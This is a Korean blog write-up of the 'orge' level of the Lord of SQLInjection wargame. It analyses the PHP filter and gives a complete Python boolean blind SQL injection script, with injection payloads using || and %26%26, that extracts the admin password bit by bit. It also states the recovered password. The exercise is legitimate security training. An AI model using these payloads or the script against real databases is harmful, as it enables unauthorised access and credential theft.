[Lord of SQLInjection]orge write up

zzsla·2023년 6월 11일
0

문제 정보

없다

문제

문제에 들어가면 위에 query와 sql명령문이 적혀있고 아래 코드가 나와 있다.

분석

get으로 요청된 pw값이 prob, _, ., (), or, and이 들어가면 프로그램이 죽는다. 즉 이부분이 필터링 부분이다.

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");

그 다음은 query가 나오는데 sql명령문이다.
sql 명령문은 id를 찾는데 prob_orge라는 테이블에 있어야 하고, id는 guest이고 pw는 get으로 요청된 pw값이다.

  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 

그리고 id가 있으면 Hello (찾은 id)이라고 출력이 된다.

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

그런 뒤에 오류 방지를 위해 $_get[pw]addslashes를 한 뒤 다시 $_get[pw]에 넣는다.

  $_GET[pw] = addslashes($_GET[pw]); 

그 다음 idguest가 아닌 admin로 되어 있는 sql query를 실행한다.
만약 sql 명령문을 실행했을 때 pw값이 있고, 그 pw값이 get으로 입력한 pw값과 같으면 문제가 풀린다.

  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 

취약점

일단 문제가 풀리는 조건을 보면 select pw from prob_orge where id='admin' and pw='{$_GET[pw]}의 pw값이 있어야 한다. 즉 adminpw값을 찾아야 한다. addslashes가 있고, Hello (id)로 true/false를 알 수 있기 때문에 blind sql injection을 사용하면 된다. 필터링을 주의해서 익스플로잇을 짜면 된다.

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

익스플로잇

초기값 설정

익스플로잇을 짤 때 첫 부분은 필요한 값들을 설정한다.

from requests import get

url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
header = {'cookie' : 'PHPSESSID=자신의 쿠키값'} 

pw 길이 확인

먼저 pw를 확인할 때는 pw의 길이부터 알아야 한다. 그렇기 때문에 길이를 확인하는 코드를 짜준다. orand가 필터링되어 있기 때문에 각각 ||, &&을 사용한다. 그런데 url에서 &은 다른 의미가 있기 때문에 &대신에 아스키코드인 %26으로 나타내 준다.

password_length = 0

while True:
	password_length += 1
    query = f"{url}/?pw=' || id='admin' %26%26 length(pw)={password_length}-- -"
    response=get(query, headers=header)
    if "<h2>" in response.text:
    	break
print(f"password_lengh : {password_length}")

pw 길이 확인 때 실행될 sql query

select id from prob_orge where id='guest' and pw='' || id='admin' && length(pw)=1-- -'

pw의 각 문자 별 bit 길이 찾기

pw의 문자가 어떤 문자로 이루어져 있는지 모르기 때문에 bit열로 변환해서 추출하기 전에 길이를 알아야 한다. ordor에 걸리기 때문에 ascii로 변경시킨다.

for i in range(1, password_length + 1):
	bit_length = 0
	while True:
    	bit_length += 1
        query = f"{url}/?pw=' || id='admin' %26%26 length(bin(ascii(substr(pw, {i}, 1))))={bit_length}-- -"
        response=get(query, headers=header)
    	if "<h2>" in response.text:
    		break
    print(f"bit_number : {i}, length : {bit_length}")

각 문자열 bit 길이 확인할 때 실행될 sql query

select id from prob_orge where id='guest' and pw='' || id='admin' && length(bin(ascii(substr(pw, 1, 1))))=1-- -'

pw의 각 문자 별 bit열 추출하기

pw의 bit열의 길이를 통해 bit열을 추출한다.

bits = ""
for j in range(1, bit_length + 1):
	query = f"{url}/?pw=' || id='admin' %26%26 substr(bin(ascii(substr(pw, {i}, 1))), {j}, 1)= '1'-- -"
    response=get(query, headers=header)
    if "<h2>" in response.text:
    	bits += "1"
    else:
    	bits += "0"
print(f"bit_number : {i}, bit : {bits}")

pw의 bit열 추출할 때 실행될 sql query

select id from prob_orge where id='guest' and pw='' || id='admin' && substr(bin(ascii(substr(pw, 1, 1))), 1, 1)= '1'-- -'

bit열을 문자열로 변환

bit열을 가지고 문자열로 변환하면 원래 pw의 값이 나온다.

password = ""
...
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

print(password)

위 과정을 합치면 익스플로잇이 이렇게 나온다.

from requests import get

url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
header = {'cookie' : 'PHPSESSID=자신의 쿠키값'} 

password_length = 0

while True:
	password_length += 1
    query = f"{url}/?pw=' || id='admin' %26%26 length(pw)={password_length}-- -"
    response=get(query, headers=header)
    if "<h2>" in response.text:
    	break
print(f"password_lengh : {password_length}")

password = ""

for i in range(1, password_length + 1):
	bit_length = 0
	while True:
    	bit_length += 1
        query = f"{url}/?pw=' || id='admin' %26%26 length(bin(ascii(substr(pw, {i}, 1))))={bit_length}-- -"
        response=get(query, headers=header)
    	if "<h2>" in response.text:
    		break
    print(f"bit_number : {i}, length : {bit_length}")
    
    bits = ""
	for j in range(1, bit_length + 1):
		query = f"{url}/?pw=' || id='admin' %26%26 substr(bin(ascii(substr(pw, {i}, 1))), {j}, 1)= '1'-- -"
    	response=get(query, headers=header)
    	if "<h2>" in response.text:
    		bits += "1"
    	else:
    		bits += "0"
	print(f"bit_number : {i}, bit : {bits}")
    
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

print(password)

코드를 실행하면 admin의 진짜 pw값인7b751aec를 얻을 수 있다.

그리고 url 뒤에 /?pw=7b751aec를 넣으면 문제가 풀린다.

profile
[README]newbi security hacker :p

0개의 댓글